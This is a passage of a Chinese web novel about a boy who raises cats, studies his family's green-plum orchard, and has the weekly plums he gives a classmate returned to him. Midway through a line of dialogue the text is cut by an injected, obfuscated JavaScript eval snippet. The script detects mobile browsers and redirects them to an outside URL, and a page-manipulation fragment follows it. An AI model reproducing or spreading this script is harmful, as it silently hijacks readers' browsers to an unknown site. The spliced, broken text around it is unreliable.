但一周后,爸爸亲眼见到大喵把他的西装当成猫砂盆。 “你们瞧瞧这只猫都干了什么坏事!”爸爸指着大喵。 妈妈把猫关进卧室,堵在卧室门口说:“什么叫这只猫,它有名字了!” 爸爸怒气冲冲地举起西装:“不管它叫什么,都改变不了它到处乱尿的事实!我的西装上黄色区域多显眼?我亲眼看到它尿在上面!” 妈妈夺过白色的西装衬衫,扔进洗衣机:“什么污渍,你说哪里?” 爸爸愣在卧室门口,几秒后冲到洗衣机前,一把拉开洗衣机门:“衬衫上,你明明看到了!” 妈妈合上洗衣机,摇头说:“不,是你记错了。” “不会错的!”爸爸抿着嘴唇说,“以前也是它尿在衣服上,尿在床上。它明天开始不能离开笼子一步,能听明白这件事吗?” “我保证它会乖乖待在我的卧室。”北鸣说,“只要不让它进你们的卧室,不就行了?” “你想让它尿在你的衣服上吗?” “好一个尿床大喵!等我以后当博主,就用这个名字当昵称!” “博主?”爸爸回头问,“什么博主?你想干什么?” 周云笙撇撇嘴,不理他。 她窜出门,说要和朋友见面。 北鸣听爸爸无休止的警告,第二天起,大喵被养在周云笙的卧室。 爸爸每天检查大喵有没有乱尿,如果大喵乱尿,他会喊周云笙处理干净。 但如果周云笙不在家,北鸣会被喊过去为大喵打扫卫生。 等给大喵做完绝育,爸爸破天荒地点头,允许孩子们再养大喵一段时间。 一养,却养到北鸣读六年级。 六年级的第二学期,考试复习的压力逐渐加重。 班里腾出时间,举办结课仪式,为同学进行思想放松。 所有同学需要准备假期实践报告,分享本学年最有意义或是最有趣的假期实践活动。 北鸣没有假期出门旅游的经验,特别的事情除了养下大喵,没有其他选择。 不过,班里已经有另一个同学要写养猫记录,他最好换个主题。 思来想去,他望见家里的青梅果林。 “你觉得写青梅果林会有意思吗?”北鸣询问周云笙。 她懒洋洋打着哈欠:“只要你喜欢,你觉得有意思不就行了?怎么可能所有人喜欢的东西都一样?” “如果我把实践报告写得乱七八糟,会不会被老师骂?” “既然怕被骂,一开始就好好做啊。只要你尽力去写,老师会看到你的努力。而且,结果怎么样,你要先做了才能知道。” 先做了才能知道? 她是不是根本听不懂他的话。 这可是结课实践活动要用到的实践报告,要当着所有同学的面上台讲述的实践报告。 她果然对于这种事一点也不关心。 不然写点出游记录? 北鸣纠结报告选题,但周云笙觉得这件事已经讨论过且已经有了结果,她花费更多的时间研究网络视频。 他只好再寻找其他帮助。 一个晚上,住在楼下的苏浮胜上楼约周云笙出门。 北鸣讲述他的困扰。 苏浮胜指指县图书馆的方向说:“既然没有比观察青梅更好的选题,那就干脆利落地开始查资料呗。” “我不知道……” “县图书馆能免费查资料,你去看看和青梅有关的书。”苏浮胜说,“如果你看了以后还是觉得没意思……” “那我就可以挑其他选题了?” “不,证明你可以看青梅纪录片了。” 苏浮胜耸耸肩膀,领着周云笙下楼。 北鸣第一次因为作业而纠结。 第二天放学,他在县图书馆找到青梅树相关的连环画本。 书里讲的很详细,现在却不是能完整观察青梅的时间。 他家的青梅果林已经花落,开始成长果实。 可以观察的环节减少很多,他不知道要如何开始。 书里的进程和现在的情况完全对不上! 他想观察青梅,就要看青梅如何开花,落花,长果。 然后中间需要观察树叶状态,查看有没有出现虫灾。 书上说,树干可能会出现红蜘蛛。他需要捉蜘蛛吗? 爸爸询问北鸣的进程,建议他换一个报告选题。 “公园一日游怎么样?”他问北鸣,却被北鸣的妈妈转移话题。 妈妈倾听北鸣的所有想法,轻声说:“观察青梅果的成熟过程怎么样?这并不难做,只需要你常去果林看一看。” 北鸣认可妈妈的话,当晚和妈妈一起走进青梅果林。 “我小时候很喜欢吃青梅,以前还从里面吃出过虫子。”她拿着手电筒,不尴不尬地说着,“现在想想还是可怕。” “虫子?” “对,钻进果子的虫子。它以果肉为食,身体白色,有时候看着有点透明,有的还没有指甲长。” 她牵着他路过几棵小青梅树,越往里,青梅树长得越大,“不过,等你咬一口青梅才看见果肉里的半截虫子时,才会真正的感受到恐惧和恶心。” “果子里只剩半截虫子?另外半截是被吃掉了吗?” “可能吃掉半截,也可能吃掉一只半。” “一只半?” “万一它们是住在一颗青梅里的好朋友,那被人吃掉的时候,它们很可能待在一起。” 北鸣点点头:“人吃掉它们,会生病吗?” 她摇摇头:“只要青梅清洗干净,对青梅和虫子不过敏,一般不会生病。” 北鸣把妈妈的话记下来,跟着妈妈在青梅果林散步。 他们沿着树木,把果林游览一遍。 第二天一早,北鸣上学前路过蓝湾石桥,妈妈见时间充裕,带他进果林观察。 “夜里看不清,你今天要再看看青梅树长什么样吗?”妈妈轻拍北鸣后背,“你可以目测树木高度,树木宽度,还可以摸摸它的树皮。” 高度?宽度?还有树皮的手感? 这些似乎也能写进报告里,只写青梅果的成熟,好像篇幅太短,如果想篇幅变长,还能写什么呢? 北鸣苦恼着抬头看,圆形大伞般的青梅树枝干弯曲有力,叶子边缘带有细齿。 把手放在深棕色的鱼鳞状裂痕,掌心下粗糙且凹凸不平。 “今晚就可以开始观察青梅果的成长过程。”妈妈送他去学校。 他在课外书里翻到一篇写满十几页的优秀实践报告范例。 这么长的篇幅,一定符合老师对努力的定义。 北鸣吃过晚饭,跟着妈妈到青梅果林。 “要怎么开始记录?”他挠挠头问妈妈,“直接写今天的青梅果有没有成熟吗?” “你可以选几颗固定的果子,每隔几天量一量它的大小有没有变化。”她在矮小的青梅树枝上,捏起一颗青梅果,“顺便看一看它们的颜色有没有变化,它们表面的绒毛会变多还是变少。” “它们表面的绒毛会变化?” “是的,它们长得越大,表面就越光滑。” “但……要怎么判断它们有没有成熟?” 她停顿一会儿说:“成熟的青梅果会变成绿黄色,捏住后会有些弹性,不会非常硬。” “它们会不会生病?需要给它们打农药吗?” 她陪他继续朝果林走:“如果想果子成熟更好,需要看情况打农药,不然果子会变成虫子们的免费自助餐。” 还会长虫子!观察青梅大小,看它们的颜色变化,拍摄绒毛变化,还需要捏手感,打农药,青梅选题的报告怎么会这么麻烦! 北鸣蔫巴巴地看向妈妈,妈妈说:“万一你觉得没意思,可以看看这些小生命。” 她蹲在一棵偏小的青梅树下,用手电筒照亮一块地面。 北鸣蹲到妈妈旁边,她说:“青梅果林除了红蜘蛛,会有很多蚂蚁,想看看叶子后面还可能出现什么生命吗?” “你是说待在叶片背面的虫子吗?” “是的,嫩叶上很容易发现蚜虫之类的虫子。” 他在树下行走着,偶尔捏几片叶子。 身边的果林似乎没那么无聊。 他在观察青梅以外的时间,寻找今天能见到什么生命。 一周后,妈妈在晚餐前告诉他,家门口迎来一只野生大猫! 大猫肚子鼓鼓的,妈妈说大猫快要生小猫! “妈妈,我能把它们带回房间吗?”北鸣问,“把它们放在门外会不会不太好?” “确实是好主意。你能给它们找两个干净的碗吗?我给它们找点睡觉的软垫。” 北鸣答应下来,当晚开始仔细观察大猫。不在青梅果林的时间,他给大猫起了名字,叫做:“小喵。” 别称:“贪吃小喵。” 但小喵几天后要带来新的小猫咪,要给它们起什么名字? 猫咪一号,猫咪二号,猫咪三号……会不会好记忆一点? 北鸣纠结着,每天按时给两只小猪猫喂猫粮,换猫砂。 妈妈说小喵需要补充营养,教他帮小喵蒸一小块鸡胸肉。 北鸣确实好好学了,可小喵只是闻闻,一口也不吃! 既然它不吃,他替它吃好了。 他理所当然的加餐,撕开一半鸡胸肉喂给大喵。 没几天,家里的几块鸡胸肉就被消灭掉。 北鸣开始读猫咪繁育类的科普书,他能看懂的部分很少。 除了每天记录小喵食欲怎么样,饮水情况怎么样,排便情况怎么样,有没有呕吐,他似乎没有其他能帮忙的事。 他每天盼望着家里多出新的小猫咪。 直到结课仪式前三天,他准备给小喵添猫粮时,他望见小喵尾巴下有一滩不明液体。 他跑到妈妈面前:“妈妈!小喵情况不太对劲!你能来看看它吗?” 妈妈跟着他,隔着一段距离观察小喵一阵,她点点头,说:“小喵在生小猫,让你爸爸把准备好的东西拿过来。” 爸爸抱着一箱东西走过来,布置好简易产房,铺好软垫和尿垫。 他第一次见到猫咪生产的过程,生命的诞生在他眼前无比清晰。 他按照小猫的出生顺序,依次给它们起名为:“猫咪一号,猫咪二号。” “小喵第一次生产,可能会有一个,或者三个孩子。”妈妈解释道。 “我能继续在这等着吗?”北鸣恳求她。 她摇摇头说:“你该去青梅果林了,家里应该只会多出两只幼猫。” “可它的肚子还是很鼓,万一有其他小猫呢?” “我会在这看着,有什么情况会告诉你。” “我不能陪你一起吗?” “儿子,你的实践报告快到结束时间了。” “妈妈!我不能晚上再去果林吗?”北鸣对她说,“只差最后一次对比了,我很快就能记录完。” “那等你记录完,完全有时间继续陪着小喵。”爸爸说,“别让你妈妈和小喵为难。等你回来,或许能见到猫咪三号。” 北鸣想继续辩论,不过,爸爸和妈妈说得很对。 再有两天多,他就要上台讲述实践报告。 他的青梅果林观察记录一定会很有意思,等他从果林回来,他依然能见到猫咪们。 不能急于一时! 他喊着周云笙帮忙拍照,背着书包蹿出门去。 周云笙一开始有点不耐烦,她正在屋里写拍摄文本,不想被打扰。 不过,听说回来能看到小猫后,她欣然答应帮他。 回到家里,猫咪一号和猫咪二号闭着眼睛摸索爬行,动作又缓又没有规律性。 它们身上不像小喵一样毛绒绒,皮肤皱巴巴且蒙着湿哒哒的一层黏腻,一点没有继承小喵的可爱。 傍晚时分,猫咪一号和猫咪二号不停地叫,它们朝小喵肚皮下蹭。 小喵为它们舔舐毛发,整理表面的形象,没多久,它们看起来顺眼多了。 北鸣缩在墙边一直等,晚睡前,猫咪三号终于露出半个身子。 小小的猫咪卡在小喵尾巴边,妈妈说绝对不能上手拽出小喵。 即便很担心,也只能等待小喵努力。 终于,猫咪三号成功降生,他们家多出三只小猫咪。 北鸣的好心情持续到结课仪式前一天。 他准备好第二天需要携带的报告,爸爸问他:“有些青梅提前摘下来了,你要把它们分享给同学们吗?” “把青梅果分享给同班同学吗?”北鸣问爸爸。 “是的,北鸣。你不想试着和同学分享水果吗?” 在爸爸提出建议前,北鸣没有把青梅带进学校的想法。 他在学校除了上课,只关注苏岑西在做什么事。 不过,爸爸的建议很不错——他需要和同学们好好相处,在结课前留下好印象。 看在家里多出三只可爱小猫的份上,他完全可以把青梅分给开过他和岑西玩笑的同学。 “可是……青梅要怎么带进学校?”北鸣有些苦恼地问,“分给全班同学的话,书包装不下,拎着太大的袋子会不会被别人开玩笑。” 他支支吾吾地又问妈妈,虽然他不怎么在意同班同学是否喜欢吃青梅,但是他想拿给岑西青梅。 在拿过去之前,他一定会细心挑选,认真清洗。 妈妈说,青梅是他的,他想怎么带过去都可以,他想带多少都可以,一切由他决定。 他最终选择用塑料袋装好再带过去。 结课仪式当天下午,爸爸接他放学回家,他瞧见爸爸皱起眉头。 是因为不想养猫吗? 之前收养大喵时,爸爸是最不乐意的人。 “爸爸,我们能养它们吗?”走到家门口的时候,他小心翼翼地问,“养那些猫咪。” 爸爸半耷拉眼皮:“你知道养五只猫是什么概念吗?它们要住在哪里?” “我的卧室?”北鸣觉得这个主意很可行。 “你觉得大喵会愿意吗?它们可能会频繁打架。” “我能好好照顾它们的,爸爸。我不会让它们离开卧室,再尿到你的西装上。” 妈妈为他们开门说:“它们不会想永远待在一个地方,你要为它们着想。” “周北鸣,大喵能一口把猫咪一号的皮肉咬开。”周云笙堵在玄关前,“而且爸妈需要上班养家,我每月才回来一次,你又要在学校待很长时间,没人能二十四小时确保它们不互相撕咬。” “虽然大喵可能不会攻击它们,但是小喵和大喵现在住在一个房间,绝对会打架。把它们分开,是目前最好的主意。”爸爸换下鞋子。 妈妈看向周云笙:“事情不一定会这么严重,你别想太多,先研究你的尿床大喵吧。” 周云笙一言不发地回房间。 北鸣和爸妈待在一起,大喵和小喵以及幼猫的叫声交杂在一起。 爸爸在手机计算器算一算,说:“同时养五只猫,每个月需要花不少钱。” 妈妈点点头:“它们需要猫粮,猫砂,幼猫可能还需要奶粉。如果要绝育和做体检,会有额外的花销。” “它们能吃其他东西吗?” “人做的猫饭也能吃,但猫粮应该更合适……而且家里没人有时间每天给它们做营养猫饭。我上班的单位最近在裁员,我需要在工作上花费更多时间。” “除非你能提供养猫的钱。”爸爸看着北鸣,“不然在幼猫两个月大时,我们必须为它们找到领养。家里最多只能养下大喵和小喵。” “在那之前,你们会负责它们的伙食,是吗?” 爸妈对视后点头。 北鸣如愿以偿地养下五只猫咪。 可猫咪们太活泼,也太能吃,家里的沙发,被子,衣服都从平整布料款变成流苏款。 它们的口粮消耗比以前大七倍。 他和姐姐的零花钱不得不减少。 他想过猫咪会越来越活泼,却没料到它们会组团跑出家门去旅游。 它们跑进后院,遇见老鼠后开始捕鼠行动。 奔来跑去,变成脏兮兮的猫群。 它们还学会开门,打翻周云笙的蜘蛛饲养盒。 姐姐每天爬上伏地,寻找今天蜘蛛在哪里。 没几天,妈妈尖叫着从厨房退出来。 周云笙饲养的拳头大的蜘蛛围在锅里吐蜘蛛丝。 更糟糕的是,在为小喵做绝育检查前,他们发现,小喵的肚子再次鼓起来。 妈妈开刺绣店的朋友说,小喵第二次怀孕,很可能比第一次生下的小猫数量多。 北鸣把妈妈朋友的话告诉爸爸。 爸爸张大嘴巴,颤着手放下碗筷。 “北鸣,”他摇头道,“我们家不能一次养八只猫!” “它们还不是大猫,爸爸……它们还没有出生。” 爸爸继续摇头,沉默地靠在椅背上。 他轻声说:“爸爸,小喵可能吃多了,不一定是又怀孕了。” “啊。”爸爸眼球转一转:“你确定吗?” “我没见小喵和其他猫待在一起,你见家里有其他颜色的猫毛吗?” 爸爸坐直了,“家里没出现其他颜色的猫毛,只有玳瑁猫的猫毛。”爸爸走到小喵旁边,伸手轻摸小喵的肚皮,“摸着不像怀孕,如果是怀孕,你知道我们需要再多养几只猫吗?” “可能还是三只。” 北鸣猜测着。 第二天中午,爸爸带着小喵做检查,兽医说小喵只是吃多了,最近稍微控制一下饮食,几天就会恢复正常。 他家里皆大欢喜,但为幼猫找到收养家庭后,小喵在宠物店跑丢。 到了暑假,北鸣家的青梅开始采摘。 起初,家里对青梅吃得过瘾,但青梅数量越来越多,吃得数量赶不上采摘的数量。 售卖的过程中需要等待,他们把青梅果放进前门储藏室,一批一批的加班运走。 爸爸说,青梅不及时处理,可能会赔在手里。 北鸣琢磨怎么帮忙,路过常去的私房蛋糕店,他望见年轻的女店长清理青梅。 他跑过去问:“您好,请问您这里收青梅果吗?我们家可以低于商城价卖给你。” “能比商城里便宜多少?”女店长问。 “大概每斤去掉零头,多买再叠加打折。你可以先看青梅,我们家的果林就在蓝湾石桥旁。” “好吧。”女店长温和道:“如果你家里人同意的话,我想提前看看果子。” “好,不过我没有手机,能给你留我妈妈的电话号码吗?还需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026102|194412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要留你的电话号码。其实除了卖青梅,还想问问店里会做青梅果酱吗?我想学做青梅制品,您能教我吗?” “店里有空的时候,你可以带着材料过来,我可以免费教你!” 女店长很好说话。 她还向其他朋友推荐他家的青梅果。 北鸣家的青梅数量减少更快。 一旦女店长和女店长的朋友们订购青梅,爸爸会给他额外的零花钱,作为他勇于尝试,勇于沟通的奖励。 北鸣曾把零花钱拿给爸爸,说是给大咪买猫粮和猫砂的钱。 可爸爸没有收钱:“这是你应得的奖励,你可以留着钱和朋友出去玩,买点你想吃的东西。” 爸爸照常买猫粮和猫砂。 他的零花钱逐渐水涨船高。 有一次为私房蛋糕店的女店长送青梅时,北鸣瞧见一个小男孩和旁边的小女孩分享甜品。 他回家路过岑西家门口,心里莫名其妙的发虚。 他和岑西已经认识很多年,他还没专门和她分享过什么东西。 别的小朋友在给朋友买甜品,他除了甜品,能拿给岑西什么? 如果和她分享甜品,她会喜欢吃吗? 小学六年里,他几乎没见过她吃甜品。 其他的吃的,对她来说一定很常见吧? 或许可以送她青梅果,她可能会很喜欢,以后也能送她青梅制品。 应该不会有其他人送给她这些吧? 他手里已经积攒一些零花钱,向爸爸买一些青梅果完全足够。 可要怎么拿给她?要用什么理由呢? 她会收下吗? 北鸣考虑着,想送她青梅果的念头愈发明显。 尤其在路过她家门口时,他会猛然紧张,心里空落落。 他认为,他是时候和她变得更亲近了,他要像其他好朋友一样,常送她礼物。 她始终是一位好朋友,在小学的流言过后依然会和他打招呼,从不否认他们关系不错。 她的爸爸也是个好人,之前在猫粮和猫砂送错地方时,她的爸爸开车帮他们带回猫粮和猫砂。 因为当时爸爸还没下班,妈妈一个人搬着数十斤的猫粮和猫砂上楼再下楼。 苏先生主动提出帮忙,帮妈妈把东西搬进厨房。 他还没谢谢苏先生,如果他送去青梅果,苏先生也会很开心吧? 北鸣越想越合理,脑海里浮现岑西收到青梅果时脸上会露出什么表情。 她会对他笑吧? 会友好的和他说谢谢,很认真地品尝青梅果。 她对他的态度,会比在学校更好吧? 北鸣幻想着,每周给岑西送挑选成熟的,清洗干净的青梅果。 送一个月后,岑西见到他不会扭头就走。 她会直接向他走过来,熟稔地接过装着青梅的袋子,温和说:“我回家了。” 有时还会关心他,说:“你早点回去。” 北鸣像接到天上砸下来的大馅饼,每天沉浸在为岑西送青梅的期许中。 哪怕青梅过季,他需要到商城高价购买青梅送给岑西,他也能感受到前所未有的喜悦与幸福。 整个六年级暑假,乃至整个初一,整个初二,为岑西送青梅都是他的每周必做事项。 他弄不清这是种什么感觉,但他很清楚,他做不到在她靠近时移开视线,更无法不在意她接过青梅时亮晶晶的漂亮眼眸。 她恐怕真的是圣诞老人送过来的最好礼物。 不过,初三开学前,青梅果林闯入一群偷果贼,他们未经允许地带走青梅果,损坏大片青梅树。 在这之后,宠物店打来电话,说有人见到北鸣家跑丢的猫。 北鸣和爸爸连夜寻找小喵,见到它已是凌晨时分。 他们这才知道,宠物店撒谎的事情。 小喵确实找到了,不过找到的只是干瘪且不完整的小喵尸体。 宠物店的人说:“你们把猫送来洗澡烘干,中途我们没看好猫,让猫跑出去,这是我们的问题,可猫跑出去后的生死和我们没关系,它也不是死在我们店门口,我们最多付给你们两百块,或者你可以兑换成宠物洗澡卡。” 周云笙把事情告诉苏浮胜,苏浮胜在宠物店门口拉起横幅。 一个月后,宠物店的人给予部分补偿,想用一只新猫取代曾发生的事。 北鸣不知道他们沟通什么话,两天后,浮胜不去拉横幅了。 他没见周云笙抱回新的猫,但她常半夜抱着大咪哭泣。 北鸣心里发堵,躺在床上似乎都喘不过气。 脑袋开始疼痛,开始整夜整夜的睡不着。 他不想去青梅果林,也不想去任何一家宠物店。 他想给岑西送青梅,视线却昏昏沉沉,腿脚还使不上力气。 北鸣缩进房间,打游戏或看漫画书。 私房蛋糕店的女店长给他的妈妈打来电话,说近期蛋糕店有空闲时间,可以教他制作青梅果酱和青梅罐头。 店长热情说,蛋糕店新改了果酱配方,即便是不喜欢吃甜点的人,也一定会喜欢新品青梅果酱。 他又一次想念岑西的面容。 “蛋糕店最近空闲时间很多,你有空就多来看看吧,我听你妈妈说了青梅果林的事,但那不是你的责任,你已经做得很好了。如果你愿意的话,最近的教学我可以免费为你提供材料。就当是感谢你之前给店里送洗净的优质青梅。” 女店长不止一次的打来电话。 初三开学前,他重新常去蛋糕店。 他和爸妈一起整理家里的猫咪用品,偶尔陪女店长到新的蛋糕店品尝新品。 他亲手制作的青梅果酱获得家里人和女店长的一致好评。 女店长承诺,下次免费教他做青梅罐头。 北鸣忽然发现,他还没把青梅果酱拿给岑西尝过。 他已经有段时间不给岑西送青梅,他很久不在她家附近等待她的出现。 他的脸火烧火燎,在初三开学一周后,拿着青梅果酱,站在他常等待她的路口。 当岑西迎着傍晚的光亮朝他走过来,他的心快要跳到嗓子眼里。 北鸣大脑一片空白,心里的话脱口而出:“好久不见,请你吃青梅果酱。” 她握住装着果酱的玻璃瓶,说:“你很喜欢青梅,但你总是给我们家……” “没关系的。”北鸣摸摸后脖颈。 岑西垂下手臂,昂着下巴瞧他:“那你……下周会来学校上课吗?” 他大大方方地点头:“应该会。上周有其他事情,所以请假一周……不过,最近已经忙完了。” “那你的学习进度应该不会落下太多。可你就算去了,也竞争不了课代表的职务。告诉你,我现在是班长。” 这不也是好事吗?北鸣想。 “我还要去辅导班,”岑西说,“你早点回去吧。”她的眼眸变得亮晶晶。 北鸣木然的朝二楼走。 明明拿给她果酱是好事,能见到她很开心。 他却无法像之前一样笑出声来。 好像有什么事情被他忽视掉了。 他没时间乱想,私房蛋糕店的女店长还在等着他。 今天是他去学青梅罐头制作方法的第一天,不迟到会比较好。 赶紧回家装上口罩就出门。 北鸣做足心理准备,一开门,见到手忙脚乱的苏岑西。 她的双手背在身后,拘谨地蹲在他的家门口。 “你,你要出门吗?”她问他。 北鸣惊喜地点头。 虽然不知道她为什么会出现在家门口。 但是他无法抑制内心的信息。 她是来找他的吗? 专门来找他的吗? 北鸣拍拍衣服上并不存在的尘土,回答说:“嗯,准备去蛋糕店。” 她难得耐着性子和他多说几句话。 她说她拿给他礼物,北鸣欣喜若狂,恨不得立刻拿到礼物并拆开查看。 突然,他瞥见她身后藏着的青梅果酱玻璃瓶。 他用来装青梅果酱的玻璃瓶由私房蛋糕店女店长亲自订购,玻璃瓶周边的贴纸是他拍下妈妈的刺绣,再由网络店家定制打印。 他今天做出的两份青梅果酱,一份寄给周云笙,一份亲手拿给苏岑西。 绝不可能出现第三罐青梅果酱。 北鸣难以置信地看着她背后的果酱玻璃瓶,问她:“你要把果酱玻璃瓶还给我吗?” “对,要还给你。”岑西脸上没有什么表情地说,“这种东西还给你会更好吧。” 他试图从岑西手里拿回果酱玻璃瓶。 她躲闪几下,把果酱递给他。 北鸣问:“还玻璃瓶?”他单手转动瓶身,仔细查看。 玻璃瓶上的贴纸规规整整,没有断裂或被撕动的痕迹,玻璃瓶内仍满满当当。 “还玻璃瓶,为什么把果酱也还回来?” 她欲言又止,眼球转动几下,最后把视线固定在他的脸上:“你没看过吃青梅拉肚子,会得急性肠炎的报道吗?” “拉肚子?急性肠炎?你说……” “我们家觉得没必要吃你送的青梅,你又不会为我们付肠炎的治疗费用。” 他第一次有点生她的气:“这就是你把青梅果酱送回来的理由吗?” “这也是把青梅送回来的原因。” “青梅!之前把青梅撒在我家门口石板上的人是你?” “是的,你们家的青梅果林实在太脏了,外面有很多垃圾,里面能闻到污水沟的味道。那种生长环境,只能长出来不干净的果子。”她抬着头说,“我们不想从你送的果子里吃出半截虫子。” “它们不是不干净的果子!”北鸣眼眶发烫,可他想起青梅果林外曾出现的塑料袋,想起果林旁的污水沟。 他竟然说不出其他辩解的话,一个字也怼不回去,“所有的青梅……你都还回来了?” 岑西点点头,半垂下眼皮:“是的,全部还给你了。这是为了我们家的安全考虑。” “为了你们家的安全考虑?这些青梅很多是从商城买来,它们不全是从蓝湾石桥那边摘来的果子。” “怎么可能。” “我还留着买青梅的小票!你知不知道我花了多少钱!” “你在撒谎。” “要把小票拿过来,你才会相信吗?我买来的青梅绝对正规,家里果林摘下的青梅也曾卖给商城,为什么商城的人不说吃了我们家的青梅会得急性肠炎!” “这个……”她快速眨着眼睛,很快平静地看着他说,“又不是我让你买来送我。” 北鸣吃惊的沉默几秒,眼眶逐渐湿润。 他压下哭腔说:“我以为你会很高兴……” 岑西疑惑道:“你以为的事,我为什么要感到高兴?班里同学那么多,你为什么非要送我青梅?我没说喜欢青梅。你也没问过我喜不喜欢青梅?” 她的话似乎没有不对。 他没问过她的看法,可她不喜欢青梅,为什么要收下青梅? 两年半的时间里,她明明有很多次拒绝他的机会。 北鸣胸腔发闷,再说不出其他的话。 他拿着青梅果酱,一溜烟跑下楼。 下楼梯后,他顺着道路大跨步向前走,时不时抬起袖子蹭眼泪。 直到走出很远,回头已经望不见小区门口,他也没瞧见她追来的身影,没听到她说一句抱歉。 7. 望七次青梅 九年级第一学期开学没多久,岑西就发现,她和周北鸣的关系变得和之前不一样了。 他不再送她青梅,也不再送她青梅果酱。 岑西每天放学回家,门口附近不会出现专门等待她的熟悉身影。 她梦寐以求的新年愿望得以实现,她却开心不起来。 如果周北鸣认清事实且友善地离开她的视野,她会迫不及待地放电子烟花庆祝。 但这次,是她搞砸了一切。 她的青梅果返还计划被他当面拆穿。 为辩解,她复述妈妈的话,说他们家的果林不干净,吃了他们家的青梅果有得肠炎的风险。 他不给她继续说话的机会,转头就跑下楼,去其他地方了。 在他眼里,她可能成为什么都不懂的傲慢胆小鬼。 岑西心里敲响警钟。 她在月度考试前,拉着祝漾走到北鸣家门口。 从二楼转角的小窗户,能望见蹲到后院的北鸣。 他面对锈迹斑斑的仓库外壳,腿边放一个接满水的红桶。 他手里的湿抹布拧出绣红的水渍,嘴里隐隐约约地吐槽:“青梅……拉肚子得急性肠炎……完全没证据!” 周北鸣没有指名道姓,岑西却心里发虚。 她曾和妈妈吐槽他家肮脏的仓库,祝漾曾和她讨论后院旁有多不干净。 可谁没有说笑话的时候? 周北鸣一定说了某人的闲话,才被罚来打扫仓库的卫生。 否则,他的爸爸为什么不来帮他? 他的妈妈离职后没有打扫过仓库,他的姐姐现在也没有到后院。 岑西想,答案已经显而易见。 她现在没必要和周北鸣道歉。 她让祝漾回家,小跑着回到卧室。 但老式居民楼隔音实在差劲,她坐在书桌前听不见中性笔摩挲纸张的声音,满耳朵都是窗外的动静。 周北鸣不像金毛了,这次像比格犬! 他竟然把水桶拎到墙边,握住水管直直的冲刷仓库附近。 她的窗户挨着水管,侧墙挨着周北鸣家的仓库,书桌在转角处显得格格不入。 他用水柱不停地冲刷室外,一定想引起她的注意。 她不能让周北鸣觉得,她想主动和他说话。 更不能让周北鸣知道,她今天曾想和他道歉。 岑西锁紧窗户,唰的一声合上窗帘。 她拿出隔音耳机,稳稳当当地戴在耳朵。 周边的杂音瞬间肃清,她的心绪却乱起来。 半夜,岑西睡不着。 她站在卧室窗户外,抬头望周北鸣家的窗户。 他搬来没多久她就发现,他的卧室在她的卧室上方。 往常,他的卧室在夜里不亮灯,今天傍晚起,他的卧室始终亮起明灯。 他还没睡,不过她没见他下楼。 今天,明明是又一次收青梅果的日子。 岑西揉揉冰冷的耳朵,重新躺到床上。 她回忆起一开始的打算。 她想,既然周北鸣因为她不收青梅果而哭泣,那她这次收下青梅果不就好了? 他不总是活泼大金毛的模样吗? 应该……很容易就能哄好吧? 可她等他一整天,她家附近都没再出现青梅果。 更不用提从没尝过的青梅果酱。 岑西觉得,她和周北鸣的缘分到此为止了。 而月度考试后,她听到周北鸣身边多出熟悉的声音,探身从窗户朝仓库看,她望见常见的女士——她的小姨。 岑西的大脑宕机两秒。 她不明白,小姨为什么要坐着轮椅,去找周北鸣? 小姨今天化了全妆,做了发型! 周北鸣还和小姨有说有笑,小姨从没这样对待她! 他们两个人什么时候这么熟悉了? 岑西半跪在书桌,手指紧紧扣住窗沿。 她一直看到双腿麻木再重新恢复正常,心里变得乱七八糟。 而待在仓库旁的两个人依旧笑容满面,嘴里的话一秒钟没有停下过。 她从小到大,小姨都没有陪她单独待过这么长的时间。 难道周北鸣是小姨的某个亲戚,或是某个……孩子? 岑西不想去问,她第一次觉得小姨和周北鸣一样讨厌。 她锁紧窗户,拉上窗帘,抓着钥匙冲出家门。 沿着小区前的道路一直向前,路过六家甜品店,她远远地望见云渔楚曾用过的“秘密基地”。 讨厌鬼三人组上大学以后,就不怎么用以前租的房子了。 她不记得通往新的“秘密基地”的道路,往常都是苏浮胜到旧的“秘密基地”来接她。 她在“旧秘密基地”附近转几圈,突然不知道还能去哪里。 一切都要怪小姨和周北鸣,他们毁了她的好心情! 岑西在道路旁待到天色彻底漆黑。 回到家,小姨在仓库旁和周北鸣聊今天多么有趣。 小姨甚至抽不出时间陪她吃晚饭。 半夜睡觉前,小姨脱下湿哒哒的鞋子,从玄关拿出拖鞋换好。 沾满泥巴的轮椅被停在玄关地毯上。 “明夜,”小姨笑容满面地喊爸爸,仿佛中了大奖,“今天有剩余的晚饭吗?” “当然有,姐,”爸爸苹果肌耸起说,“在厨房锅里闷着,应该还热着。” “里面的份量绝对够两个人吃,”妈妈说,“邻居都知道你有多喜欢楼上的人家,要是你想去住,我可以帮你和他们沟通。” 妈妈笑眼盈盈,爸爸和小姨相互打量对方的脸色。 半晌,小姨走进厨房,说:“岑西,能帮我清理下轮椅吗?” 岑西看向玄关,稳稳停着的轮椅表面沾着不少泥巴和水渍。 轮子缝隙填满粘稠的泥糊,想要清理需要拎一桶水,找一块抹布。 她在十二点前,不一定能清洗完。 岑西估摸着。 妈妈斜靠在厨房门口说:“怎么一回来就使唤其他人,你有时间帮楼上的小孩刷仓库,没时间自己洗轮椅吗?” 小姨端着餐盘坐到餐桌边,她的目光越过爸妈,落在岑西脸上。 岑西不明所以,打量小姨一阵,隐隐约约望见小姨口袋里鼓鼓囊囊。 像塞入一大捧青梅果。 她浑身起鸡皮疙瘩,不合时宜的想起北鸣家门口从石板缝隙中长出的野生青梅。 周北鸣不会把她的青梅返还计划告诉小姨了吧? 岑西向前半步,试图辩解。 但小姨先一步移开视线,看着妈妈说:“打扫仓库的工作量不是清理轮椅的工作量能比的。” 再说送青梅和还青梅不是一个量级的事吗? 岑西像被扼住脖颈,话语哽在喉咙里。 她听到妈妈说:“你对陌生人比对你的外甥女好很多。” 小姨埋头吃饭,不理睬妈妈的态度。 等爸妈回到房间,小姨瞧一眼岑西,说她们需要谈谈。 岑西怕爸妈听到她的小秘密,在小姨吃过晚饭,她邀请小姨到她的房间。 